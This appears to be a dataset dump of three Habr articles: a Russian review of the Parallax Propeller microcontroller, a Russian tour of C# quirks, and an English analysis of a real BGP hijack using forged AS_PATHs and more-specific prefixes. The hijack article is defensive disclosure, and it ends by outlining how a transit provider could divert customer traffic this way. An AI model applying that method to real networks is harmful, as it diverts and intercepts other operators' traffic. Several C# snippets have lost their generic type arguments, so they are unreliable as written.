text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Мини-компьютер на базе микроконтроллера Parallax Propeller
Микроконтроллер фирмы Parallax под названием [Propeller](http://www.parallax.com/propeller/), в сравнении с «классикой» жанра типа PIC или AVR занимает несколько странную нишу. Про первые два можно сказать, что это архитектуры общего назначения. Создатели же Пропеллера подошли к вопросу «с фланга».
Основные отличительные особенности Пропеллера:* 8 независимых ядер, работающих параллельно. Какое-либо разделение времени, необходимое для общих ресурсов типа памяти или портов ввода-вывода не контролируется программистом и «вшито» в кристалл. Это дает предсказуемость во времени выполнения кода. Каждое ядро (cog) имеет 4КБ собственной изолированной оперативной памяти. Также каждое ядро имеет встроенный аппаратный модуль для генерации (внимание!) ТВ или VGA видео-сигнала.
* Нет понятия прерываний. Вместо это предлагается запускать конкурирующие задачи разных ядрах (cog'ах).
* Программировать можно либо на ассемблере, либо на особом высокоуровневом языке Spin, который сильно упрощает многоядерное и параллельное программирование. Интерпретатор Spin зашит в кристалл.
* Почти нет понятия программации или прошивки кристалла. Верхняя половина адресного (ROM) пространства размером в 32КБ прошита интерпретатором Spin и разными системными таблицами. В этом случае при каждом включении требуется загрузка программы извне (например, из среды разработки) в нижнюю область 32КБ (RAM). Но обычно в реальном использовании подключается внешняя I2C микросхема памяти EEPROM, содержимое которой автоматически копируется в RAM при включении кристалла.
* Процессор заявлен как 32-х битный, так как оперирует со данными этого размера, но адресное пространство 16-и битное (64КБ).
Язык Spin разработан для удобного многопроцессорного программирования, и выглядит как нечто среднее между процедурным и объектно-ориентированным языком.
Вот пример кода на Spin, запускающего функцию крутиться на нескольких ядрах. Код реально простой и понятный.
```
CON
_clkmode = xtal1 + pll16x 'Establish speed
_xinfreq = 5_000_000 '80Mhz
OBJ
led: "E555_LEDEngine.spin" 'Include LED methods object
VAR
byte Counter 'Establish Counter Variable
long stack[90] 'Establish working space
PUB Main
cognew(Twinkle(16,clkfreq/50), @stack[0]) 'start Twinkle cog 1
cognew(Twinkle(19,clkfreq/150), @stack[30]) 'start Twinkle cog 2
cognew(Twinkle(22,clkfreq/100), @stack[60]) 'start Twinkle cog 3
PUB Twinkle(PIN,RATE) 'Method declaration
repeat 'Initiate a master loop
repeat Counter from 0 to 100 'Repeat loop Counter
led.LEDBrightness(Counter, PIN) 'Adjust LED brightness
waitcnt(RATE + cnt) 'Wait a moment
repeat Counter from 100 to 0 'Repeat loop Counter
led.LEDBrightness(Counter,PIN) 'Adjust LED brightness
waitcnt(RATE + cnt) 'Wait a moment
```
Функция `cognew` запускает задачу на трех ядрах, параметризируя каждую своей частотой и стеком.
Упрощенно Пропеллер устроен следующим образом:
[](http://demin.ws/blog/russian/2012/11/22/personal-mini-computer-on-parallax-propeller/propeller-block-large.jpg)
Название «Пропеллер» произошло от его модели передачи приоритета на доступ к разделяемым ресурсам. Модуль Hub, контролирующий разделение времени, делает это по кругу, типа крутящегося пропеллера.
Я не хочу в этой статье углубляется в сам Пропеллер, ибо это большая тема. Для интересующихся в конце есть ссылки на книги, в которых можно получить исчерпывающую информацию об этом микроконтроллере.
Но хочу рассказать об одном интересном проекте, который называется "[Pocket Mini Computer](http://propellerpowered.wikispaces.com/Pocket+Mini+Computer)". Это мини-компьютер на базе Пропеллера (P8X32A), использующий evaluation board «P8X32A QuickStart» как основу.

Выглядит это добро следующим образом (фотография с официального сайта):

Фактически, автор [продает](http://propellerpowered.com/shop/?page_id=234) evaluation board плюс плату расширения, на которой есть VGA, microSD, PS/2, звук и Wii Gameport. Опционально можно поставить микросхему оперативки SRAM на 32КБ.
Фишка проекта в том, что автор разработал интерпретатор Бейсика, который превращает все это в микро-компьютер а-ля 80-е. Бейсик написан на Spin'e ([исходники открыты](https://www.dropbox.com/sh/qwhixzvtlrvp1u1/y-JshwklWj/PropellerBASIC)). Диалект весьма ограничен, например, нет массивов, строковых и вещественных переменных, имена переменных только однобуквенные и т.д. Но тем не менее, дается доступ ко всей периферии, включая SD-карту, и также позволяет запускать чисто двоичные файлы, которые могут быть написаны хоть на том же Spin'e, хоть на С (Parallax имеет версию GCC для Пропеллера), хоть на ассемблере.
Далее несколько фотографий конструктора, чтобы было понятно, что дается в наборе. Как я уже говорил, основа PMC — это готовая плата «P8X32A QuickStart», поэтому спаять надо только плату расширения.



Почти все запаяно.

Бутерброд в сборе.




Вот небольшая демка, чтобы оценить графические возможности.
Общие впечатления
-----------------
### Пропеллер
Не получается назвать его процессором общего назначения. По моему субъективному мнению, для эффективного использования Пропеллера надо очень хорошо понимать свою прикладную задачу. Например, у Пропеллера нет ШИМ, ЦАП/АПЦ, встроенной флеш-памяти, триггеров, понятия прерываний, и создатели предлагают либо реализовывать необходимое программно, используя силу нескольких ядер, либо использовать специализированные внешние микросхемы. В книгах, приведенных в конце, описано множество примеров работы с дополнительными микросхемами.
Интересно другое. Создатели Пропеллера не забоялись отойти от традиционного подхода и попытались вложить в кристалл конкретные прикладные возможности, почти готовые задачи. Может для каких-то проектов это придется очень кстати. Как я понял, Пропеллер очень удобен для создания разного рода игровых автоматов и приставок, например, из-за встроенной возможности генерировать качественный телевизионный и VGA сигнал.
**Вывод**: интересная архитектура, определенно заслуживающая внимания.
### Конструктор PMC
Опять-таки, двоякое ощущение. Вроде работает, но ресурсов Бейсику явно не хватает, особенно памяти. Например, тот же [Maximite](http://demin.ws/blog/russian/2012/01/19/maximite-kit/) на базе PIC32 его на голову превосходит. На нем можно запустить хоть [RetroBSD](http://demin.ws/blog/russian/2012/05/11/retrobsd-on-maximite/), хоть [Радио-86РК](http://demin.ws/blog/russian/2012/08/23/radio86-on-maximite/). Да и встроенный MMBasic несравнимо мощнее.
Хотя, за 39 долларов США — это отличная игрушка для тех, кто хочет пощупать Пропеллер, имея уже собранное устройство.
На закуску
----------
Книги по Пропеллеру, которые я прочитал, что касаемо архитектуры, и проглядел (что касаемо проектов). Все рекомендую.
---
Небольшая и очень понятная книга для начинающих. Описаны (с картинками) интересные проекты. Один из соавторов является конструктором PMC.
[Getting Started With the Propeller](http://www.amazon.co.uk/gp/product/B004X6U6II/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=1634&creative=6738&creativeASIN=B004X6U6II&linkCode=as2)
[](http://www.amazon.co.uk/gp/product/B004X6U6II/ref=as_li_qf_sp_asin_il?ie=UTF8&camp=1634&creative=6738&creativeASIN=B004X6U6II&linkCode=as2)
---
Крайне грамотная книга в плане архитектуры и понимания сути Пропеллера. В ней рассматривается только программирование на Spin, но с полным объяснением подходов и особенностей микроконтроллера. Прочитав первую главу, вы получите почти полное понимание архитектуры. Далее описаны несколько проектов (это можно пропустить).
[Programming the Propeller with Spin: A Beginner's Guide to Parallel Processing (Tab Electronics)](http://www.amazon.co.uk/gp/product/B003TQM9Y2/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=1634&creative=6738&creativeASIN=B003TQM9Y2&linkCode=as2)
[](http://www.amazon.co.uk/gp/product/B003TQM9Y2/ref=as_li_qf_sp_asin_il?ie=UTF8&camp=1634&creative=6738&creativeASIN=B003TQM9Y2&linkCode=as2)
---
Сборник реальных проектов с использованием Пропеллера от его создателей.
[Programming and Customizing the Multicore Propeller Microcontroller: The Official Guide](http://www.amazon.co.uk/gp/product/B003BZVIZC/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=1634&creative=6738&creativeASIN=B003BZVIZC&linkCode=as2)
[](http://www.amazon.co.uk/gp/product/B003BZVIZC/ref=as_li_qf_sp_asin_il?ie=UTF8&camp=1634&creative=6738&creativeASIN=B003BZVIZC&linkCode=as2)
На момент написания этой статьи, первая книга доступна только в формате Киндл на Амазоне по цене в два доллара, а вот вторую и третью можно найти, если поискать. | https://habr.com/ru/post/159847/ | null | ru | null |
# Занимательный C#
Занимательный C#
Для оценки качества диагностик анализатора C# кода PVS-Studio мы проверяем большое количество различных проектов. Т.к. проекты пишутся разными людьми в различных командах в разных компаниях, нам приходится сталкиваться с различными стилями, сокращениями, да и просто возможностями, которые предлагает язык C# программистам. В этой статье я хочу обзорно пройтись по некоторым моментам, которые предлагает нам замечательный язык C#, и по тем проблемам, на которые можно наткнуться при его использовании.

*Ремарка.*
Данная статья больше ориентирована на любознательность и описывает те вещи, про которые мне лично показалось интересным рассказать.
**Свойства и что с ними можно делать**
--------------------------------------
Мы все знаем, что свойства — это пара функций: аксессор и мутатор, для изменения и чтения значения в каком-то поле. Ну, или по крайней мере так было до версии языка C# 3.0. Т.е. классически они должны выглядеть вот так:
```
class A
{
int index;
public int Index
{
get { return index; }
set { index = value; }
}
}
```
Шли годы, и стандарты языка, и свойства обросли разными возможностями.
Начнем понемногу. В стандарте C# 3.0 появилась всем известная возможность опустить поле, т.е. записать так:
```
class A
{
public int Index { get; set; }
}
```
В C# 6.0 пошли еще дальше и позволили убрать «set».
```
class A
{
public int Index { get; }
}
```
Так писать можно было и до C# 6.0, но записать в такую переменную что-либо было нельзя. Теперь это, по факту, является аналогом *readonly* полей, т.е. задавать значение таких свойств можно только в конструкторе.
Свойства и поля можно инициализировать различными способами. Например, так:
```
class A
{
public List Numbers { get; } = new List();
}
```
Ну или так:
```
class A
{
public List Numbers = new List();
}
```
А еще можно написать так:
```
class A
{
public List Numbers => new List();
}
```
И в последнем случае вас будет ждать неприятный сюрприз. На самом деле, в последнем примере вы создали вот такое вот свойство:
```
class A
{
public List Numbers { get { return new List(); } }
}
```
Т.е. когда вы попытаетесь заполнить *Numbers*, то у вас ничего не получится в принципе, каждый раз вы будете иметь новый список.
```
A a = new A();
a.Numbers.Add(10);
a.Numbers.Add(20);
a.Numbers.Add(30);
```
Будьте внимательны, когда сокращаете запись, иногда это может привести к весьма долгому поиску ошибки.
Интересные свойства свойств на этом не заканчиваются. Как я уже сказал, свойство — это пара функций, а в функциях никто не мешает менять параметры, которые туда приходят.
Следующий код прекрасно компилируется и даже работает.
```
class A
{
int index;
public int Index
{
get { return index; }
set {
value = 20;
index = value; }
}
}
static void Main(string[] args)
{
A a = new A();
a.Index = 10;
Console.WriteLine(a.Index);
}
```
Результатом работы будет вывод числа «20», а никак не «10».
Казалось бы, зачем кому-то сдалось записывать значение 20 в *value*? Оказывается, даже в этом может быть смыл. Но для пояснения этого смысла, мы немного отвлекаемся от свойств и расскажем о ключевом символе @. Данный ключевой символ позволяет создавать переменные схожие по написаю с ключевыми словами. Например: *@this*, *@operator* и т.д. Но никто не запрещает, данный символ, пихать куда душа пожелает, например:
```
class A
{
public int index;
public void CopyIndex(A @this)
{
this.@index = @this.index;
}
}
static void Main(string[] args)
{
A a = new A();
@a.@index = 10;
a.@CopyIndex(new A() { @index = 20 });
Console.WriteLine(a.index);
}
```
Результатом работы, как всегда в этой статье, будет вывод числа «20», а никак не «10».
На самом деле, символ *@* необходим только в одном месте, когда пишем имя параметра *@this* в функции *CopyIndex*. В других местах это просто лишний код, который, к тому же, затрудняет понимание написанного.
С этими знаниями вернемся к свойствам и предположим, что у нас есть следующий класс:
```
class A
{
int value;
public int Value
{
get { return @value; }
set { @value = value; }
}
public A()
{
value = 5;
}
}
```
Можно подумать, что в свойстве *Value* изменится поле *value* класса *A*. Но, на самом деле, так не произойдет, и результатом работы следующий программы будет 5, а не 10.
```
static void Main(string[] args)
{
A a = new A();
a.Value = 10;
Console.WriteLine(a.Value);
}
```
Данное поведение происходит из-за не соответствия *@value* в *get* и *@value* в *set*. *@value* в get будет являться ничем иным, кроме как, полем класса *A*. А *@value* в *set* на самом деле — это параметр функции *set*. Таким образом мы просто пишем *value* само в себя и никак не затрагиваем поле *value* в классе *А*.
**Инициализация коллекций**
---------------------------
Для начала вспомним различные способы инициализации массивов:
```
string[] test1 = new string[] { "1", "2", "3" };
string[] test2 = new[] { "1", "2", "3" };
string[] test3 = { "1", "2", "3" };
string[,] test4 = { { "11", "12" },
{ "21", "22" },
{ "31", "32" } };
```
Со списками дела обстоят легче и есть только один вариант инициализации:
```
List test2 = new List(){ "1", "2", "3" };
```
Ну и напоследок *Dictionary*:
```
Dictionary test =
new Dictionary() { { "a-a", 1 },
{ "b-b", 2 },
{ "c-c", 3 } };
```
А вот ради следующего способа я и писал данный раздел, ибо его я видел впервые:
```
Dictionary test =
new Dictionary() {
["a-a"] = 1,
["b-b"] = 2,
["c-c"] = 3
};
```
**Немного о LINQ запросах**
---------------------------
LINQ запросы в принципе сама по себе вещь удобная. Собираем цепочку с необходимыми выборками и на выходе получаем необходимую информацию. Для начала опишем пару приятных моментов, которые могут не прийти в голову, пока сам не увидишь их. Для начала рассмотрим базовый пример:
```
void Foo(List numbers1, List numbers2) {
var selection1 = numbers1.Where(index => index > 10);
var selection2 = numbers2.Where(index => index > 10);
}
```
Нетрудно заметить, что в выше описанном примере есть несколько одинаковых проверок. То есть по-хорошему, их можно вынести в отдельную «функцию»:
```
void Foo(List numbers1, List numbers2) {
Func whereFunc = index => index > 10;
var selection1 = numbers1.Where(index => whereFunc(index));
var selection2 = numbers2.Where(index => whereFunc(index));
}
```
Уже стало лучше, если функции большие, то вообще прекрасно. Немного смущает вызов *whereFunc*: какой-то он неказистый. На самом деле, это тоже не проблема:
```
void Foo(List numbers1, List numbers2) {
Func whereFunc = index => index > 10;
var selection1 = numbers1.Where(whereFunc);
var selection2 = numbers2.Where(whereFunc);
}
```
Вот теперь и лаконично и опрятно.
Теперь немного о нюансах работы LINQ выражений. Например, строчка кода не приведет к моментальной выборке данных из коллекции *numbers1*.
```
IEnumerable selection = numbers1.Where(whereFunc);
```
Выборка данных начнется, только когда будет выполнена конвертация последовательности в коллекцию List:
```
List listNumbers = selection.ToList();
```
Этот нюанс работы может легко привести к использованию захваченной переменной уже после того, как её значение изменилось. Возьмем простой пример. Допустим, нам нужна функция *Foo,* которая вернет из массива "{ 1, 2, 3, 4, 5 }" только те элементы, численные значения которых меньше индекса элемента, т.е:
```
0 :
1 :
2 : 1
3 : 1, 2
4 : 1, 2, 3
```
Её сигнатура пусть будет такой:
```
static Dictionary> Foo(int[] numbers)
{ .... }
```
А вызов вот такой:
```
foreach (KeyValuePair> subArray in
Foo(new[] { 1, 2, 3, 4, 5 }))
Console.WriteLine(string.Format("{0} : {1}",
subArray.Key,
string.Join(", ", subArray.Value)));
```
Всё вроде бы просто. Теперь напишем саму реализацию на основе LINQ. Она будет выглядеть вот так:
```
static Dictionary> Foo(int[] numbers)
{
var result = new Dictionary>();
for (int i = 0; i < numbers.Length; i++)
result[i] = numbers.Where(index => index < i);
return result;
}
```
Как можно видеть, всё предельно просто. Мы берем и поочерёдно «создаем» выборки из массива *numbers*.
Результатом работы такой программы будет вот такой текст в консоли:
```
0 : 1, 2, 3, 4
1 : 1, 2, 3, 4
2 : 1, 2, 3, 4
3 : 1, 2, 3, 4
4 : 1, 2, 3, 4
```
Проблема тут как раз в замыкании, которое произошло в лямбде *index => index < i*. Переменная *i* была захвачена, но, так как вызов лямбда выражения *index => index < i* не происходил до момента, когда мы попросили результат в функции *string.Join(", ", subArray.Value)*, значение в ней было не такое, как в момент формирования LINQ запроса. Во время получения данных из выборки значения *i* было равным 5, что привело к неверному результату вывода.
**Недокументированные костыли на C#**
-------------------------------------
Язык С++ известен своими хаками, обходными путями и прочими костылями, чего стоит серия функций *XXX\_cast*. Считается, что в C# такого нет. На самом деле и это не совсем правда…
Начнем, пожалуй, с нескольких слов:* *\_\_makeref*
* *\_\_reftype*
* *\_\_refvalue*
Этих слов нет ни в IntelliSense, да и в MSDN нет официального описания к ним.
Так что это за чудо-слова такие?
*\_\_makeref* принимает объект и возвращает некую «ссылку» на объект в виде объекта типа *TypedReference*. А, собственно, слова *\_\_reftype* и *\_\_refvalue* позволяют из этой «ссылки» узнать соответственно тип объекта и значение объекта по данной «ссылке».
Рассмотрим пример:
```
struct A { public int Index { get; set; } }
static void Main(string[] args)
{
A a = new A();
a.Index = 10;
TypedReference reference = __makeref(a);
Type typeRef = __reftype(reference);
Console.WriteLine(typeRef); //=> ConsoleApplication23.Program+A
A valueRef = __refvalue(reference, A);
Console.WriteLine(valueRef.Index); //=> 10
}
```
Но такой «финт ушами» можно сделать немного более известными средствами:
```
static void Main(string[] args)
{
A a = new A();
a.Index = 10;
dynamic dynam = a;
Console.WriteLine(dynam.GetType());
A valuDynam = (A)dynam;
Console.WriteLine(valuDynam.Index);
}
```
С *dynamic* и строк меньше, да и вопросов меньше должно вызывать у людей — «Что это?» и «Как это работает?». Но вот вам немного иной сценарий, где работа с *dynamic* смотрится не так хорошо, как с *TypedReference*.
```
static void Main(string[] args)
{
TypedReference reference = __makeref(a);
SetVal(reference);
Console.WriteLine(__refvalue(reference, A).Index);
}
static void SetVal(TypedReference reference)
{
__refvalue(reference, A) = new A() { Index = 20 };
}
```
Результатом работы будет вывод на консоль числа «20». Да, можно и *dynamic* через *ref* в функцию передать и работать будет также.
```
static void Main(string[] args)
{
dynamic dynam = a;
SetVal(ref dynam);
Console.WriteLine(((A)dynam).Index);
}
static void SetVal(ref dynamic dynam)
{
dynam = new A() { Index = 20 };
}
```
На мой взгляд, вариант с *TypedReference* выглядит лучше, особенно если прокидывать информацию всё ниже, и ниже, и ниже по функциям.
Кроме выше описанных, есть еще одно чудо-слово *\_\_arglist,* которое позволяет сделать функцию с переменным числом параметров, да еще и любого типа.
```
static void Main(string[] args)
{
Foo(__arglist(1, 2.0, "3", new A[0]));
}
public static void Foo(__arglist)
{
ArgIterator iterator = new ArgIterator(__arglist);
while (iterator.GetRemainingCount() > 0)
{
TypedReference typedReference =
iterator.GetNextArg();
Console.WriteLine("{0} / {1}",
TypedReference.ToObject(typedReference),
TypedReference.GetTargetType(typedReference));
}
}
```
Странным является то, что нельзя из коробки организовать проход по элементам с помощью *foreach*, да и напрямую к элементу из списка не обратиться. Так что до С++ или JavaScript c его *arguments* не дотягивает.:)
```
function sum() {
....
for(var i=0; i < arguments.length; i++)
s += arguments[i]
}
```
В дополнение приведу ссылку на [статью](http://aakinshin.net/ru/blog/dotnet/undocumented-keywords-in-cs/), из которой я, собственно, и узнал, что это за слова такие, когда первый раз с ними столкнулся.
**Заключение**
--------------
В заключение хочется сказать, что и С++ и C# — весьма свободные по грамматике языки, и тем самым с одной стороны удобны в использовании, но с другой не защищают от опечаток. Есть укоренившееся мнение, что в С# нельзя ошибаться так, как в С++, — на самом деле это вовсе не так. В данной статье приведены весьма интересные, на мой взгляд, возможности языка, но львиная доля ошибок в C# состоит не в них, а при написании обычных индукций *if*, как, например, в проекте [Infragistics](http://www.viva64.com/ru/b/0375/).
```
public bool IsValid
{
get {
var valid =
double.IsNaN(Latitude) || double.IsNaN(Latitude) ||
this.Weather.DateTime == Weather.DateTimeInitial;
return valid;
}
}
```
[V3001](http://www.viva64.com/ru/d/0381/) There are identical sub-expressions 'double.IsNaN(Latitude)' to the left and to the right of the '||' operator. WeatherStation.cs 25
Внимание рассеивается чаще всего именно в таких моментах, а потом долгие поиски «непонятно чего непонятно где». Так что не упускайте возможность уберечь себя от ошибок с помощью анализатора кода [PVS-Studio](http://www.viva64.com/ru/pvs-studio/).
[](http://www.viva64.com/en/b/0403/) | https://habr.com/ru/post/303340/ | null | ru | null |
# Bad news, everyone! New hijack attack in the wild
On March 13, a [proposal](https://www.ripe.net/ripe/mail/archives/anti-abuse-wg/2019-March/004585.html) for the RIPE anti-abuse working group was submitted, stating that a BGP hijacking event should be treated as a policy violation. In case of acceptance, if you are an ISP attacked with the hijack, you could submit a special request where you might expose such an autonomous system. If there is enough confirming evidence for an expert group, then such a LIR would be considered an adverse party and further punished. There were some [arguments against this proposal](https://www.ripe.net/ripe/mail/archives/anti-abuse-wg/2019-March/004601.html).
With this article, we want to show an example of the attack where not only the true attacker was under the question, but the whole list of affected prefixes. Moreover, it again raises concerns about the possible motives for the future attack of this type.
For the last couple of years, when our colleagues or we were describing BGP hijacking events, mostly MOAS conflicts were covered. MOAS (Multiple Origin Autonomous System) is a case when two different autonomous systems announce the conflicted prefixes with their respective ASNs in the origin of the AS\_PATH (first ASN in AS\_PATH, further in the text — origin ASN). However, [we can name 3 additional](https://pc.nanog.org/static/published/meetings/NANOG75/1892/20190219_Gavrichenkov_Four_Years_Of_v1.pdf) hijack types allowing a malicious party to manipulate AS\_PATH for different reasons, including bypassing today’s filtering and monitoring services. The famous [Pilosov-Kapela](https://we.riseup.net/assets/43591/defcon-16-pilosov-kapela.pdf) type of attack is last, but not least. A possible example of this attack is what we think we saw for the last few weeks, observing for the first time in the wild. Such an event could have an understandable nature and severe consequences. For those looking for the TL;DR version, scroll down to “The Ideal Attack.”
### Networking Background
(for you to better understand the processes behind the incident)
If you want to send a packet and have several prefixes in your forwarding table that includes a destination IP-address, you’ll use a route to prefix with the maximum length. If you have several different routes in your routing table for one prefix, you’ll choose the best one (under best path selection mechanism) to include in forwarding.
Existing filtering and monitoring services try to analyze routes and make their decisions by looking on routes’ AS\_PATH attribute. BGP speaker can change this attribute to any value during the announcement. Simple adding of the owner ASN at the beginning of an AS\_PATH (as origin ASN) might be enough to bypass modern origin validation mechanism. Moreover, if there is any route from a target ASN to you, you can retrieve and use AS\_PATH from this route in your other announcements. Any validation check of **solely AS\_PATH** for this route would fail.
There are several limitations that we want to mention. First — in case of prefix filtering by your upstream, your route can still be filtered out (even with the valid AS\_PATH) if the prefix does not belong to upstream’s customer cone. Second — valid AS\_PATH can become invalid if the crafted route is announced in wrong directions and thus start breaking routing policies. The last one — any route that has a prefix that is violating the ROA maxLength could be considered Invalid.
### The Incident
A few weeks ago our user wrote us a complaint. We have seen routes with his origin ASN and /25 prefixes in it while the user claimed that he didn’t announce them.
`TABLE_DUMP2|1554076803|B|xxx|265466|78.163.7.0/25|265466 262761 263444 22356 3491 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.163.7.128/25|265466 262761 263444 22356 3491 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.163.18.0/25|265466 262761 263444 6762 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.163.18.128/25|265466 262761 263444 6762 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.163.226.0/25|265466 262761 263444 22356 3491 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.163.226.128/25|265466 262761 263444 22356 3491 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.164.7.0/25|265466 262761 263444 6762 2914 9121|INCOMPLETE|xxx|0|0||NAG||
TABLE_DUMP2|1554076803|B|xxx|265466|78.164.7.128/25|265466 262761 263444 6762 2914 9121|INCOMPLETE|xxx|0|0||NAG||`
*Announces example by the beginning of April 2019*
NTT in a way for a /25 prefix route makes it especially suspicious. During the incident, NTT's LG knew nothing about this route. So yeah, some operator creates the whole AS\_PATH for these prefixes! Other speakers highlight one special ASN: AS263444. After looking at other routes with this ASN, we run into the following situation.
`TABLE_DUMP2|1554076800|B|xxx|265466|1.6.36.0/23|265466 262761 263444 52320 9583|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.6.38.0/23|265466 262761 263444 52320 9583|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.23.143.0/25|265466 262761 263444 22356 6762 9498 9730 45528|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.23.143.128/25|265466 262761 263444 22356 6762 9498 9730 45528|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.24.0.0/17|265466 262761 263444 6762 4837|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.24.128.0/17|265466 262761 263444 6762 4837|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.26.0.0/17|265466 262761 263444 6762 4837|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.26.128.0/17|265466 262761 263444 6762 4837|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.64.96.0/20|265466 262761 263444 6762 3491 4760|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.64.112.0/20|265466 262761 263444 6762 3491 4760|IGP|xxx|0|0||NAG||`
*You can try to guess what is wrong*
It seems that someone took a prefix from the route, split prefix onto two parts and announce the route with same AS\_PATHs for these two prefixes.
`TABLE_DUMP2|1554076800|B|xxx|263444|1.6.36.0/23|263444 52320 9583|IGP|xxx|0|0|32:12595 52320:21311 65444:20000|NAG||
TABLE_DUMP2|1554076800|B|xxx|263444|1.6.38.0/23|263444 52320 9583|IGP|xxx|0|0|32:12595 52320:21311 65444:20000|NAG||
TABLE_DUMP2|1554076800|B|xxx|61775|1.6.36.0/23|61775 262761 263444 52320 9583|IGP|xxx|0|0|32:12595 52320:21311 65444:20000|NAG||
TABLE_DUMP2|1554076800|B|xxx|61775|1.6.38.0/23|61775 262761 263444 52320 9583|IGP|xxx|0|0|32:12595 52320:21311 65444:20000|NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.6.36.0/23|265466 262761 263444 52320 9583|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|265466|1.6.38.0/23|265466 262761 263444 52320 9583|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|28172|1.6.36.0/23|28172 52531 263444 52320 9583|IGP|xxx|0|0||NAG||
TABLE_DUMP2|1554076800|B|xxx|28172|1.6.38.0/23|28172 52531 263444 52320 9583|IGP|xxx|0|0||NAG||`
*Example of routes for one of the split pairs of prefixes*
Several questions arise. Who probed such hijack type? Did anyone accept these routes? Which prefixes were affected?
So here starts our path of failure and yet another round of disappointment in the current state of the Internet health situation.
### Path of Failure
However, first things first. How can we find which speakers accepted such hijacked routes and whose traffic is redirected already? We were thinking about /25 prefixes because “they just can not appear in the wild.” You can guess it — we were very wrong about it. It’s a very noisy metric, and routes with such prefixes can even appear from Tier-1 operators. Even NTT have around 50 prefixes that it propagates to its customers. On the other hand, this metric is terrible because these prefixes could be filtered out if the operator applies one of the BGP best practices, namely [small prefixes filtering](http://bgpfilterguide.nlnog.net/guides/small_prefixes/), in all directions. So we cannot use this method to find all of the operators whose egress traffic was redirected by an incident.
Another wild thought was to look at the [ROV](https://datatracker.ietf.org/doc/rfc6811/). Specifically at routes with violation of the maxLength rule of a corresponding ROA. So we can look for some different origin ASN with Invalid status that was seen by the AS. Still, there is a “little” problem. The average (median and mean) of this number is around 150, and even if we filter out small prefixes, it will remain higher than 70. There is a simple explanation for this result: there are only a few operators who already apply a ROA based filter with “drop Invalid routes” policy on their ingress points, so wherever route with such violation appeared in the wild, it can spread in all directions.
Last two approaches highlight accepted parts of the recent incident (because it was massive enough), but they are not generally applicable. However, maybe we can find an attacker? What are the general features of such an AS\_PATH manipulation? There are several assumptions:
* The prefix did not appear previously in the wild;
* Origin ASN (reminder: the first ASN in the AS\_PATH) is the valid one;
* The last ASN in AS\_PATH is the ASN of the attacker (in case if his neighbor make a neighbor ASN check in all incoming routes);
* The attack comes from one ISP.
If all assumptions are correct, then in all malformed routes the hijacker ASN would be presented (besides origin ASN) and thus may be claimed as critical one. We can take any of previous feature (“/25” or “Invalid routes”), and for any ASN count, the number of different origin ASN whose routes matching this feature have a critical point in it. Among the true hijacker — AS263444, some others were highlighted even when we dropped routes with him from consideration. Why? Critical point can be critical even for reasonable routes. It could be a result of connectivity lack in some region or some limitations in our visibility.
There is a way to detect an attacker, but only meeting several conditions, and only when the hijack is enormous to bypass monitoring thresholds. However, can we found out prefixes that suffered hijack regardless of all the above factors? Actually — yes.
When hijacker creates a route with more specific, such prefix is not announced by the original ISP so, if you can somehow get a trustful list of all announced prefixes made by this operator itself, then for such operators you can make a comparison and find malformed routes with more specifics. We gather this list of prefixes from our BGP sessions. It’s simple enough — you're announcing not only the full view of routes that you see right now but also the list of all the prefixes that you are willing to announce in the world. Sadly enough, right now there are several dozens of our users, that don’t do the last part correctly. We’ll notify them in the nearest future and try to solve this problem. For all the others — you can join our monitoring system today. That is how we gather this particular data, represented in this article.
If we return to the initial incident, the attacker and accepted parts were found out with critical points method. It’s strange, but not all the customers of AS263444 have seen these routes. Also, there is another strange point.
`BGP4MP|1554905421|A|xxx|263444|178.248.236.0/24|263444 6762 197068|IGP|xxx|0|0|13106:12832 22356:6453 65444:20000|NAG||
BGP4MP|1554905421|A|xxx|263444|178.248.237.0/24|263444 6762 197068|IGP|xxx|0|0|13106:12832 22356:6453 65444:20000|NAG||`
*A recent example of our address space hijack*
When this hijacker creates more specific for our prefixes, it used crafted AS\_PATH. However, this AS\_PATH was not taken from any of our previous routes. We even don’t have a link with AS6762. We look at other routes in the incident: some of them were having real AS\_PATH that was used previously, but others — not, even if they look like real. There is no practical meaning in this change because in any case, traffic would be redirected to an attacker, but routes with bad AS\_PATH can be filtered out by ASPA or another verification mechanism. It raises questions about hijacker motives. As for now, we can’t claim that this incident was a planned attack. It could be, though. Let’s try to imagine a possible IRL situation.
### The Ideal Attack
What do we end up with? You are a transit provider, announcing routes to customers. If they are multihomed, you will get only a part of their traffic — however, the more traffic — the more revenue. So, if you announce subnet prefixes of these routes with the same AS\_PATH, you’ll get the rest of the traffic. Also, the rest of the money.
Could ROA help? Possibly yes, if you decide not to use [maxLength](https://datatracker.ietf.org/doc/draft-ietf-sidrops-rpkimaxlen/) at all. Also, you don’t have any ROA records with intersected prefixes in them. For some of the operators, it’s not a possible option.
